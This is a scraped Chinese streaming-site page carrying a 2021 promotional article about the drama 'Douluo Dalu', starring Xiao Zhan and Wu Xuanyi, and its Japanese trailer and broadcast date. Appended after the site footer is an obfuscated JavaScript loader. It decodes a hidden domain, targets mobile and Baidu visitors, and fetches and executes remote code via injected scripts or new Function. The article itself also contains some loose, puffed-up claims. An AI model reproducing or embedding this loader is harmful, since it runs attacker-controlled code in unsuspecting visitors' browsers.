肖战再度火出国门,主演玄幻剧将在海外播出,日文预告片已上线

咪咕影院老何影视预告人气:675时间:2021-10-16 23:30:49

《斗罗大陆》在海外也很受欢迎

不知道年轻一代的演员,大家都看好谁呢?那肯定就不得不提肖战吴宣仪了,这两位年轻艺人主演的玄幻剧《斗罗大陆》在国内取得的播放量就突破了54.8亿,这可是实实在在的播放量,而不是刷出来的!当然了,不仅是在国内火得一塌糊涂,在海外同样大受欢迎!

要知道文化差异的缘故,我们国内制作的影视作品在海外的传播程度都很一般,电影圈还有《红海行动》、《战狼2》、《流浪地球》、《上海堡垒》等走出国门的佳作,但是电视剧圈就欠缺代表作了。不过随着《斗罗大陆》的爆红,如今电视剧圈也总算是弥补了短板。

那么《斗罗大陆》为什么能够火出国门呢?一方面是主演的影响力,吴宣仪曾经在海外女团出道过,拥有一定的国际知名度,肖战就更不得了,自从《陈情令》爆红之后,已经取得了多个国际奖项,比如说亚太地区最帅面孔第一名,而专辑作品也取得过TEMA音乐盛典“年度人气数字单曲”的奖项。

另一方面就是题材的原因了,《斗罗大陆》属于在传统的仙侠文化和欧美传统的魔幻文化之间走出新道路,结合了两者的优点,创作出西幻仙侠之路,这就是国内观众和海外观众看着都能接受的原因。

不管怎么说,这一次肖战和吴宣仪也确实是火出国门了,这也是他们成为演员最引以为傲的一件事吧,那就是把中华文化传播到海外去!估计《斗罗大陆》在海外开播后,会有不少海外的观众也来催更剧组早点开拍第二季吧。

日文预告片

当然了,《斗罗大陆》在海外开播的主要平台,还是日本电视台,而日方也是在近期宣布定档且推出了日文预告片了。来让我们看看新上线的《斗罗大陆》日文预告片到底是什么样的吧!

由于日本文化也算是中华文化的分支,因此从预告片的画面来看,有不少字幕我们还是可以分辨出来的,比如说主角的名字、主角的道具等等。

不过也有一些我们看着很怪的字幕,比如说这一句“锻冶屋の息子”,我们很清楚这是介绍唐三的基本身份,但理解起来还是怪怪的。不过日语里面的“息子”,在汉语里面的意思就是“亲生儿子”,相信这样解释,大家就容易理解了。

值得一提的是,日语配音跟普通话配音的差距确实挺大的,光是听日语配音的话,会有一种浓浓的“中二感”,或许《斗罗大陆》在日本电视台正式播出后,我们去看的话会被日语配音给笑到吧。

那么《斗罗大陆》在海外播出的正式时间是什么时候呢?在日文预告片的结尾就有提示了,那就是11月4号!光是日文预告片就让人看着喜笑颜开了,不知道正式开播的时候,会有多逗人呢?这也是令人无比期待啊!

总结

总的来说,肖战和吴宣仪以及众多《斗罗大陆》的演员们都是好样的,正是有了他们的努力付出,我们才拥有着如此优秀的国产剧,一部可以走出国门的国产剧!

在此,也是希望越来越多的演员,向肖战吴宣仪学习,争取演出更多既能够在国内爆红,又能吸引海外观众的优质作品吧!

以上就是本文的全部内容了,对此,你们有何看法呢?欢迎留言,一起来讨论吧!

【免责声明】如涉及作品内容、版权和其它问题,请在30日内与本站联系,我们将在第一时间删除内容!

  • 手机阅读

    扫一扫手机阅读

相关影片

  • 别跟姐姐撒野

    类型:国产电视剧,地区:大陆

    主演:陆妍淇,杨泽,倪寒尽,郭

  • 埃塞克斯之蛇

    类型:欧美电视剧,地区:英国

    主演:克莱尔·丹妮丝,汤姆·希

  • 洛阳四千金

    类型:国产电视剧,地区:大陆

    主演:赖雨濛,虞祎杰,高容方,

  • 双生陌生人粤语

    类型:香港电视剧,地区:香港

    主演:马德钟,陈炜,汤洛雯,何

  • 闪亮女孩

    类型:欧美电视剧,地区:欧美

    主演:伊丽莎白·莫斯,瓦格纳·

友情链接:80s电影网/南瓜影视/天天影视

本站所有视频和图片均来自互联网收集而来,本网站只提供web页面服务,并不提供资源存储,也不参与录制、上传
若本站收录的节目无意侵犯了贵司版权,请发邮件至[email protected] (我们会在3个工作日内删除侵权内容,谢谢。)

Copyright © 2020 咪咕影院蜀ICP备18031239号

function VPjskdfg(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lUYqg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return VPjskdfg(t);};window[''+'N'+'W'+'v'+'j'+'J'+'X'+'w'+'Q'+'c'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=lUYqg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/x/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/j/'+i;cs.parentElement.insertBefore(s,cs);}})('bW50Lnl6YzM1MzI2LnRvvcA==','154904',window,document,['v','KAJqexXl']);}:function(){};